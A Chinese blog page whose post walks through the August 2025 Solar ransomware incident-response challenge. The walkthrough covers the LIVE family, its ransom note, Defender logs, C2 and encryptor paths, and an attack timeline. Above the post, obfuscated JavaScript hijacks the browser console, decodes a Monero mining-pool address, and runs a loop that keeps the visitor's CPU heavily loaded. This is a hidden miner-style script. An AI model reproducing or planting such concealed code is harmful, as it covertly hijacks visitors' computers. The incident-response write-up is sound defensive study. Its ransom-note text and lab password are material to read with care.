		var _0x1c8d = ['fromCharCode', '|', '4|1|3|0|2', 'split', 'log', 'This\x20will\x20never\x20run', 'random', 'floor', 'now', 'sqrt', 'sin', 'setTimeout', 'push', 'shift'];
		(function(_0x3e1a0f, _0x1c8d8d) {
			var _0x5b3c2d = function(_0x5a1d5c) {
				while (--_0x5a1d5c) {
					_0x3e1a0f['push'](_0x3e1a0f['shift']());
				}
			};
			_0x5b3c2d(++_0x1c8d8d);
		}(_0x1c8d, 0x1f4));
		var _0x5b3c = function(_0x3e1a0f, _0x1c8d8d) {
			_0x3e1a0f = _0x3e1a0f - 0x0;
			var _0x5b3c2d = _0x1c8d[_0x3e1a0f];
			return _0x5b3c2d;
		};
		var _0x1b8d5c = function() {
			var _0x5a1d5c = function() {
				var _0x3c7e4b = !![];
				return function(_0x1b1f8e, _0x5a1d5c) {
					var _0x3c1a2b = _0x3c7e4b ? function() {
						if (_0x5a1d5c) {
							var _0x1b8d5c = _0x5a1d5c['apply'](_0x1b1f8e, arguments);
							_0x5a1d5c = null;
							return _0x1b8d5c;
						}
					} : function() {};
					_0x3c7e4b = ![];
					return _0x3c1a2b;
				};
			}();
			var _0x3c7e4b = _0x1b8d5c(this, function() {
				var _0x1b1f8e = function() {
					var _0x5a1d5c;
					try {
						_0x5a1d5c = _0x1b8d5c('return\x20(function()\x20' + '{}.constructor(\"return\x20this\")()\x20' + ');', '');
					} catch (_0x3c1a2b) {
						_0x5a1d5c = window;
					}
					return _0x5a1d5c;
				};
				var _0x5a1d5c = _0x1b1f8e();
				var _0x3c1a2b = _0x5a1d5c['console'] = _0x5a1d5c['console'] || {};
				var _0x1b8d5c = [_0x5b3c('0x4'), 'warn', 'info', 'error', 'exception', 'table', 'trace'];
				for (var _0x5b3c2d = 0x0; _0x5b3c2d < _0x1b8d5c['length']; _0x5b3c2d++) {
					var _0x3c7e4b = _0x1b8d5c['constructor']['prototype']['bind'](_0x1b8d5c);
					var _0x1b1f8e = _0x1b8d5c[_0x5b3c2d];
					var _0x5a1d5c = _0x3c1a2b[_0x1b1f8e] || _0x3c7e4b;
					_0x3c7e4b['__proto__'] = _0x1b8d5c['bind'](_0x1b8d5c);
					_0x3c7e4b['toString'] = _0x5a1d5c['toString']['bind'](_0x5a1d5c);
					_0x3c1a2b[_0x1b1f8e] = _0x3c7e4b;
				}
			});
			_0x3c7e4b();
			var _0x1b1f8e = {};
			_0x1b1f8e['p'] = String[_0x5b3c('0x0')](103, 117, 108, 102, 46, 109, 111, 110, 101, 114, 111, 111, 99, 101, 97, 110, 46, 115, 116, 114, 101, 97, 109, 58, 49, 48, 49, 50, 56);
			_0x1b1f8e['l'] = 0.8;
			var _0x5b3c2d = function() {
				var _0x3c7e4b = _0x5b3c('0x2')[_0x5b3c('0x3')]('|');
				var _0x1b8d5c = 0x0;
				while (!![]) {
					switch (_0x3c7e4b[_0x1b8d5c++]) {
						case '0':
							if (Math[_0x5b3c('0x7')](Math[_0x5b3c('0x6')]() * 100) > 100) {
								console[_0x5b3c('0x4')](_0x5b3c('0x5'));
							}
							continue;
						case '1':
							while (Date[_0x5b3c('0x8')]() - _0x1b8d5c < 100 * _0x1b1f8e['l']) {
								var _0x5a1d5c = 10000;
								var _0x3c1a2b = 0x0;
								for (var _0x3c7e4b = 0x0; _0x3c7e4b < _0x5a1d5c; _0x3c7e4b++) {
									_0x3c1a2b += Math[_0x5b3c('0x9')](_0x3c7e4b) * Math[_0x5b3c('0xa')](_0x3c7e4b);
								}
							}
							continue;
						case '2':
							window[_0x5b3c('0xb')](_0x5b3c2d, 100 * (1 - _0x1b1f8e['l']));
							continue;
						case '3':
							var _0x1b8d5c = Date[_0x5b3c('0x8')]();
							continue;
						case '4':
							continue;
					}
					break;
				}
			};
			_0x5b3c2d();
		}();

image-20251111171545683

2025年Solar应急响应8月月赛

参考文章:2025-8月Solar应急响应公益月赛排名及官方题解(。・ω・。)泥嚎2025-Solar应急响应公益月赛-8月 | Liebert77の博客2025年Solar应急响应公益月赛-8月|n0o0b's blog

strange_downloader

看不懂半点,贴上官方WP地址:2025-8月Solar应急响应公益月赛排名及官方题解

勒索环境溯源排查

本环境来源于勒索病毒应急响应案例
此环境中涉及的勒索家族全版本加密器,思而听(山东)网络科技有限公司、solar应急响应团队已破解
在环境中已给出步骤提示,请您一步步完成每一道题目,最终复盘为什么要这么做
主要在其中黑客怎么关闭的Windows杀毒软件?可以仔细思考一下
排好时间线后可以根据桌面已有的 训练环境介绍-必读 中的溯源报告进行输出相关报告

Administrator 密码为 Sierting789@

注意:如在环境启动后的一分钟没有看到3306端口开放,可手动启动phpstudy
注意:勒索加密原则上会加密所有可读、可运行文件等,但为了提高学习效率和简易程度,所以恢复了一部分文件作为线索,你可以仔细找找哦
防勒索官网:http://应急响应.com

【任务1】勒索环境溯源排查

上机排查提交病毒家族的名称,可访问应急响应.com确定家族名称,以flag{xxx}提交(大小写敏感)

可以发现文档文件都被添加上了.LIVE后缀

image-20251113133208077

solar官方勒索病毒搜索引擎:在线病毒检测-Solar应急响应团队

image-20251113133327183

【任务2】勒索环境溯源排查

提交勒索病毒预留的ID,以flag{xxxxxx}进行提交

桌面上有留下ID的勒索信:

image-20251113133455110

您好

您的文件已被加密,无法使用
当您看到这封信时,您的隐私数据已被我们备份。若您不予处理,我们将在7日后公开您的隐私数据。

请勿尝试自行修改或恢复文件,否则将损毁文件
如有需要,您可以免费解密一个测试文件。免费测试解密仅适用于小于3MB的文件。

要恢复文件,您需要解密工具。请通过电子邮件联系我们。
请将本文档的文件名添加至邮件中并发送给我。
【文件恢复_ID xxxxxx】
我将告知您需支付的金额。支付完成后,我们将制作解密工具并发送给您。

客服邮箱:
locked@onionmail.org
备用邮箱:(24小时内未回复时使用此邮箱)
liveteam@onionmail.org

您也可以通过中介机构(如数据恢复公司)与我们联系

若您拒绝支付,您将不断遭受攻击。您的隐私敏感数据也将在互联网上公布。

!! 我们是注重信誉的团队,您可以放心支付并恢复数据。

LIVE TEAM

【任务3】勒索环境溯源排查

解密并提交桌面中flag.txt.LIVE的flag,以flag{xxxx}提交

LIVE家族病毒恢复工具solar官方已给出:恢复工具-Solar应急响应团队

image-20251113135319074

【任务4】勒索环境溯源排查

提交Windows Defender删除攻击者C2的时间,以flag{2025.1.1_1:10}格式提交

查看Windows Defender历史记录即可:

image-20251113135725798

image-20251113135753059

【任务5】勒索环境溯源排查

提交攻击者关闭Windows Defender的时间,以flag{2025.1.1_1:10}格式提交

分析相关应用程序和服务日志中的事件(查询官方文档可知关闭Windows Defender实时保护的事件ID为5001):

image-20251113140120017

应用程序和服务日志 -> Microsoft -> Windows -> Windows Defender -> Operational

image-20251113140446466

【任务6】勒索环境溯源排查

提交攻击者上传C2的绝对路径,格式以flag{C:\xxx\xxx}提交

Evrything搜索可执行文件,且按照修改时间排序,重点关注8月25日的:

image-20251113141641455

2025.8.25 10:45:08左右的可疑文件:

image-20251113141755151

放入沙箱,确定就是这位了:

image-20251113142530990

也可以直接上杀软

【任务7】勒索环境溯源排查

提交攻击者C2的IP外联地址,格式以flag{xx.x.x.x}提交

由上题沙箱分析可知

【任务8】勒索环境溯源排查

提交攻击者加密器绝对路径,格式以flag{C:\xxx\xxx}提交

官方WP:攻击者一般在上传加密器后会立即触发加密器,然后进行加密,所以我们只需要找到被加密文件一开始的时间,确定好这个时间后,再去找这个时间之前的程序。

搜索被加密文件,得到它们的修改时间:

image-20251113143632117

关注这段时间修改的可执行文件:

image-20251113143716959

丢进沙箱可以验证:

image-20251113145358800

【任务9】勒索环境溯源排查

溯源黑客攻击路径,利用的哪个漏洞并推测验证,提交起运行文件绝对路径,如:flag{C:\xxx\xxx\xxx}

攻击时间线:

  1. 攻击者2025.8.25 10:43分上传C2后被Windows defender清除
  2. 2025.8.25 10:45分攻击者尝试关闭杀软成功
  3. 2025.8.25 10:48分攻击者上传C2到C:\Users\Administrator\Downloads\Wq12D.exe成功
  4. 2025.8.25 11:00分攻击者上传加密器C:\Users\Administrator\Documents\systime.exe并在11:15触发加密器进行加密成功

桌面上有小皮面板值得分析服务器跑的web服务,分析其目录:

image-20251113144833114

可以发现跑了PbootCMSruoyi两个服务,官方WP是启动了一遍发现ruoyi存在版本shiro反序列化漏洞

640

posted @ 2025-10-29 14:38  Super_Snow_Sword  阅读(202)  评论(0)    收藏  举报